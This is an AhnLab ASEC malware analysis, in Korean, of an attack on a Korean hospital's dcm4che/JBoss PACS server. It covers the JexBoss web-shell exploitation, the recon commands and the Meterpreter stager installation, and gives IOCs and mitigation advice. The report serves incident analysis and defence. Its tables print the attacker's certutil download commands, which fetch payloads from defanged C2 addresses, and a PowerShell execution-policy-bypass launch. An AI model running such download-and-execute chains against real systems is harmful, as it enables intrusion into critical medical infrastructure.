국내 의료기관의 취약한 서버를 대상으로 유포된 미터프리터(Meterpreter)

ASEC 분석팀에서는 취약한 서버를 대상으로 유포 중인 악성코드를 모니터링 하던 중 국내 의료 기관에서 사용 중인 PACS(Picture Archiving and Communication System) 서버를 공격한 사례가 확인되었다.

PACS(Picture Archiving and Communication System)는 환자의 의료 영상을 디지털로 관리하고 전송하는 시스템으로써 병원에서 의료 영상을 시공간 제한 없이 조회하고 판독하기 위해 사용하는 시스템이다.

따라서 현재 많은 병원에서 PACS를 사용하며, 이 PACS 시스템에는 여러 전문 업체가 있어 의료 기관에 따라 사용하는 PACS 제품이 다를 수 있다.

이번 확인된 사례는 ‘dcm4che‘라 불리는 JAVA 기반의 오픈 소스 애플리케이션을 사용해 서버를 구축한 제품에 대한 공격 사례이다.

[그림 1] ‘dcm4che’ 공식 홈페이지(https://www.dcm4che.org/)

dcm4che는 의료영상처리를 지원하는 도구로 의료 영상 이미지 변환 및 관리를 도와주는 오픈 소스 프로그램이다. 이는 관리를 위해 웹 인터페이스를 제공하며 PACS 서버를 쉽게 구축할 수 있도록 도와준다. 이때 사용되는 웹 컨테이너JBoss 애플리케이션이다.

공격자는 ‘JexBoss‘ 라는 툴을 이용해 JBoss 애플리케이션의 취약한 서버를 대상으로 공격하였다.

[그림 2] 쇼단(https://www.shodan.io/)으로 확인된 취약한 JBoss 애플리케이션 서버

JexBoss(JBoss Verify and EXploitation tool)는 깃허브에 공개되어 있는 취약점 공격 도구이다. 그 대상으로는 JBoss 애플리케이션 서버를 포함해 다양한 자바 플랫폼, 프레임워크, 애플리케이션들이 있다. JexBoss는 이러한 자바 기반 환경에 대한 취약점 스캐닝을 지원하며 나아가 취약한 것으로 확인될 경우에는 이를 공격해 웹쉘을 설치하여 해당 시스템에 대한 제어를 획득할 수 있다.

[그림 3] JexBoss 깃허브(https://github.com/joaomatosf/jexboss)

오픈 소스이다 보니 그 접근성으로 인해 JexBoss는 실제 다양한 공격자들에 의해 사용되고 있다. 예를들어 2016년경 SamSam 랜섬웨어 공격자 그룹이 취약점이 패치되지 않은 JBoss 서버를 공격해 랜섬웨어를 설치한 사례가 존재한다.

[참조] 2016년 랜섬웨어 사례

이번 확인된 사례는 공격자가 JexBoss를 이용해 웹쉘을 설치한 후 정찰 과정을 거쳐 최종적으로 미터프리터 백도어를 설치하였다.

이는 디폴트로 설정된 계정 정보를 변경하지 않은 JBoss 환경이나 취약점 패치가 이루어지지 않은 과거 버전이 아직까지 사용될 경우 공격자가 JexBoss 툴을 이용해 해당 시스템을 장악할 수 있다. JexBoss는 전달받은 주소에 대해 스캐닝한 후 다음과 같이 결과를 보여주며 간단하게 웹쉘 설치 과정까지 진행할 수 있다.

[그림 4] JexBoss를 이용해 웹쉘을 설치하는 로그(출처 : JexBoss 깃허브)

공격자는 JexBoss를 이용한 스캐닝 이후 그 결과를 기반으로 취약점 공격을 진행할 수 있다. 다음은 JexBoss에서 지원하는 취약점 공격을 통해 공격 대상 시스템에 웹쉘을 설치하는 과정에 대한 자사 ASD 로그이다. 취약한 ‘javaservice.exe‘ 프로세스가 JexBoss에서 제공하는 URL에서 웹쉘을 설치하는 로그가 확인된다. 참고로 war 파일은 자바 웹 애플리케이션 파일로서 웹쉘(WebShell)은 war 파일 내부에 존재한다.

[그림 5] JexBoss에 의해 웹쉘이 설치되는 로그

JSP로 만들어진 웹쉘은 윈도우 및 리눅스 환경에 따라 ‘cmd.exe’ 또는 ‘bash’를 이용해 공격자로부터 전달받은 명령을 감염 시스템에서 실행하는 기능을 담당한다.

[그림 6] 감염 환경에 설치된 JSP 웹쉘

웹쉘 설치가 끝나고 공격자는 명령어를 입력하였다. 먼저 net 명령을 이용해 감염 환경에서 사용자 계정 목록을 구하고 ‘smoke’라는 이름의 사용자를 제거하였다. 이후 tasklist 명령을 이용해 현재 실행 중인 프로세스의 목록을 확인하였다.

날짜실행 경로 및 명령어설명
2022-6-21 11:24(JexBoss)
d:\pacs\dcm4chee-mysql-2.14.5\server\default\tmp\%ASD%\tmp2292506501108616935jexws4.war
웹쉘 다운로드
2022-6-21 11:25%SystemRoot%\syswow64\net.exe > net user계정 정보 출력
2022-6-21 11:25%SystemRoot%\syswow64\net.exe > net user smoke /del‘smoke’ 계정 삭제
2022-6-21 11:26%SystemRoot%\syswow64\tasklist.exe > tasklist프로세스 목록 출력
[표 1] 공격자가 수행한 명령어(1)

또한 공격자는 미터프리터(Meterpreter)를 설치하기 위해 다음과 같은 시도를 하였다. 이는 certutil.exe를 악용해 PE(실행파일) 및 PowerShell 형태의 메타스플로잇 Stager를 다운로드한 로그이다.

시간경로 및 명령어설명
2022-6-21 11:28%SystemRoot%\syswow64\certutil.exe
> -urlcache -split -f “hxxp://62.138.7[.]234:2468/de4444.bat” de.bat
(확인되지 않음.)
2022-6-21 11:29%SystemRoot%\syswow64\certutil.exe
> -urlcache -split -f “hxxp://62.138.7[.]234:2468/de4444.exe” w.exe
Meterpreter Stager 다운로드
(PE 실행 파일)
2022-6-21 11:32%SystemRoot%\syswow64\certutil.exe
> -urlcache -split -f “hxxp://34.220.245[.]178/de.ps1” w.ps1
Meterpreter Stager 다운로드
(PowerShell Script)
2022-6-21 11:32%SystemRoot%\syswow64\windowspowershell\v1.0\powershell.exe
> -executionpolicy bypass -noexit -file w.ps1
Meterpreter Stager 실행 시도
(PowerShell Script)
[표 2] 공격자가 수행한 명령어(2)

‘de4444.exe’는 메타스플로잇 Stager로서 C&C 서버에 접속하여 메모리 상에 미터프리터 페이로드를 다운로드해 실행하는 PE 포맷의 악성코드이다. Stager를 이용하면 실제 백도어 기능을 담당하는 페이로드를 필요할 때 다운로드할 수 있기 때문에 다음과 같이 단순한 형태를 갖으며 작은 사이즈만으로 공격에 사용될 수 있다.

[그림 7] 미터프리터를 다운로드하는 Stager 악성코드(de4444.exe)

현재 ‘w.ps1’는 확인되지 않지만 자사 ASD 로그 상 파워쉘 형태의 스테이저로 추정된다. 이는 PE 포맷의 스테이저와 기능은 실질적으로 동일하기 때문에 미터프리터는 powershell.exe 프로세스의 메모리 상에서 실행된다. 다음은 파워쉘 프로세스에 로드된 미터프리터가 winlogon 프로세스에 인젝션되어 C&C 서버와 통신하는 로그이다.

[그림 8] 미터프리터 ASD 로그

미터프리터는 백도어 악성코드로서 C&C 서버로부터 공격자의 명령을 전달받아 악의적인 기능들을 수행할 수 있다. 즉 미터프리터 악성코드의 설치까지 완료되면 공격자는 메타스플로잇 프레임워크를 이용해 감염 시스템에 대한 제어를 완전히 획득할 수 있다.

이에 따라 관리자는 디폴트로 설정된 계정 정보를 변경해야 하며, 서버 구성 환경이 취약할 경우 최신 버전으로 패치해 기존에 알려진 취약점으로부터 사전에 방지해야 한다. 또한 외부에 공개된 서버의 경우 보안 제품을 통해 외부인으로부터의 접근을 통제할 필요가 있다.

안랩 V3 제품에서는 해당 유형에 대해 다음과 같이 진단하고 있다.

[진단]

파일 진단

  • Downloader/Win.Meterpreter
  • WebShell/JSP.Generic

행위 진단

  • Malware/MDP.Download.M1900

[IOC]

MD5

  • 3f156bd68b2a32a1b5cb03af318667f0 (jews.war)
  • acda46759d7c3526df2a6c59803586a4 (jexws4.jsp)
  • 8fe01532bfa9803f1a9b174289c2cbbc (de4444.exe)

URL & C2

  • 62.138.7[.]234:4444
  • hxxp://62.138.7[.]234:2468
  • hxxp://34.220.245[.]178/de.ps1
  • hxxp://62.138.7[.]234:5555

[References]

1) https://www.dcm4che.org/
2) https://github.com/joaomatosf/jexboss
3) https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-312A

연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

5 2 votes
별점 주기
guest

2 댓글
Inline Feedbacks
View all comments
trackback

[…] 국내 의료기관의 취약한 서버를 대상으로 유포된 미터프리터(Meterpreter) […]

trackback

[…] 국내 의료기관의 취약한 서버를 대상으로 유포된 미터프리터(Meterpreter) […]